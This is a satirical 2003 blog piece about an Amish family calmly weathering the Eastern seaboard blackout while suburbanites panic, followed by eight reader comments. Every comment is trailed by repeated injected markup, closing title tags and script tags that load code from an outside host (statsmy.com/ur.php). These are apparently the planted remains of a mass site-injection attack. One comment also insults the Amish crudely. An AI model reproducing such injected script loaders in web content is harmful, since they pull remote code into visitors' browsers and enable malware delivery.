Smooth Operator - Amish family overlooks blackout

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Amish family overlooks blackout

by Mark on 8/25/2003 (8)

The Amish... shudder.

A quiet evening passed the same way it has for 200 years in Holmes, county, Ohio. Mennonite brother Hezekiah Weems lit a candle, blew out the kindling, and tossed the smoldering ember into the fireplace. "Thou must be careful with fire", Weems tutored.

Meanwhile, back in civilization, a trio of power cables, driven beyond normal operating capacity by millions of air conditioners running overtime statewide, a sudden flicker, and sudden, total power down put the lights out for the entire Eastern seaboard. Anna Nicole Berkowitz hastily lit a Unicorn candle and tossed the match into the trash, sniveling "WAAAHHH!!---I'll miss American Junior Idol!" Fearing starvation, Berkowitz waiting in line at a local Burger King, purchased 8 Whoppers with cheese. Blaring her horn at cars in line, Berkowitz roared: "Move-it @#$*&, I'm STARVING over here!"

Brother Weems brought a piece of smoked ham from his barn, a jar of pickled vegetables from the root cellar, and a loaf of wheat bread, piously cutting small pieces and Passing them to all. "The cellar is God's way of keeping food fresh."

Meanwhile back in civilization, Jimmy Skufka waited in line at a 7-11 with 4 cases of La Batts beer under both arms like Hulk Hogan wrestling a squad of cheerleaders. I've got to be prepared! Might not have any water to drink for days!" When asked why he wasn't buying bottled water, and was merely using the blackout as an excuse to drink massive quantities of beer, Jimmy confessed: "You got that right! I jump on any chance to drink beer, but this is the first time that I've got an excuse that is actually almost valid, so I'll just run with it!"

Brother Weems, returning from his well with a bucket of ice-cold spring water, gave a sip to all in a wooden ladel, the entire family sitting calmly on the moonlit front porch, a gentle cooling breeze softly stirring the willows.

Meanwhile, back in civilization, Agnes Radovich emptied 50 lbs of dripping, sour beef into a plastic garbage bag. Agnes, obviously crushed, sobbed "I-I was planning a birthday barbeque for my husband Edgar! I guess now we'll just have to eat pizza. I wanted STEAK for my Edgar, not lousy, stinking PIZZA!"

Weems carefully wrapped the uneaten portions of ham and bread in a scrap of hand woven linen, returned them to the root cellar, and called his family to bed. Looking in the direction of Cleveland and Chicago, Weems could see nothing but dark sky, for the first time in his memory, the glorious summer night illuminated only by a crescent moon reflecting softly off the furrowed meadows. Weems softly blew out the candle, a twinkle in his eye.

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1. by feaglin on 3/1/2007 4:52:29 PM

Meanwhile, back in civilisation, the power has switched back on, and all the luxuries of modern life have returned to us non-amish, while they still hang around stinking in their backwater shithole villages, growing beards and practising inbreeding. No luxury of modern life has been gone from me as a European, and what's more, we don't have Amish either! IN YO FACE!?sid=1" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Daizie on 3/1/2007 4:52:29 PM

Great story. Mr. Motz is an excellent writer.h=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by Mark Motz on 3/1/2007 4:52:29 PM

...yeesh...All I wnated to point out is that we panic when we lose technology, and that some people get along just fine without it, be it the Amish or anyone else. Thanks Daizie! Love you!nem </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by feaglin on 3/1/2007 4:52:29 PM

I know, and you did a great job, but I just like bitching?si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by shakespearmint gum on 3/1/2007 4:52:29 PM

to bitch or not to bitch, that is the question... </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by johi on 3/1/2007 4:52:29 PM

What is your point? To belong to a fringe religous sect that oppresses women and human creativity or to live in a modern society where you have the right to choose your lifestyle. Hmmm.u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by Bobbi on 3/1/2007 4:52:29 PM

Just another reminder that while having conveniences at our fingertips is often beneficial, modern America's need for instant gratification is perhaps a growing weakness. To understand this doesn't mean to become Amish, it simple means becoming more self-aware as individuals within modern society.tp: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by tdp2 on 8/23/2008 3:03:34 PM

I agree with Bobbi; one doesn't have to become amish to realize that modern civilization is much to dependent on gadgets. I know people who freak out during a temporary electric outage from a thunderstorm, much less when half the easter seaboard goes dark... </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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